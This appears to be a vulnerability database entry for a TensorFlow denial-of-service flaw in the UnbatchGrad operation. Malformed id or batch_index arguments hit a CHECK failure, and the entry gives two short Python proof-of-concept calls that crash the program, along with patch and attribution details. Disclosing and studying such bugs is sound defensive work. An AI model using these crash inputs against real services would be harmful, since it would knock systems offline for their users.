PT-2026-59951 · Pypi · Tensorflow-Cpu

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The [UnbatchGradOp](https://github.com/tensorflow/tensorflow/blob/769eddaf479c8debead9a59a72617d6ed6f0fe10/tensorflow/core/kernels/batch kernels.cc#L891) function takes an argument id that is assumed to be a scalar. A nonscalar id can trigger a CHECK failure and crash the program.
python
import numpy as np
import tensorflow as tf

# `id` is not scalar
tf.raw ops.UnbatchGrad(original input= tf.constant([1]),batch index=tf.constant([[0,0,0 ], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,1,], dtype=tf.int64))
It also requires its argument batch index to contain three times the number of elements as indicated in its batch index.dim size(0). An incorrect batch index can trigger a CHECK failure and crash the program.
python
import numpy as np
import tensorflow as tf

# batch index's size is not 3
tf.raw ops.UnbatchGrad(original input= tf.constant([1]),batch index=tf.constant([[0,0], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,], dtype=tf.int64))

Patches

We have patched the issue in GitHub commit 5f945fc6409a3c1e90d6970c9292f805f6e6ddf2.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Kang Hong Jin from Singapore Management University and 刘力源 from the Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3337

Affected Products

Tensorflow-Cpu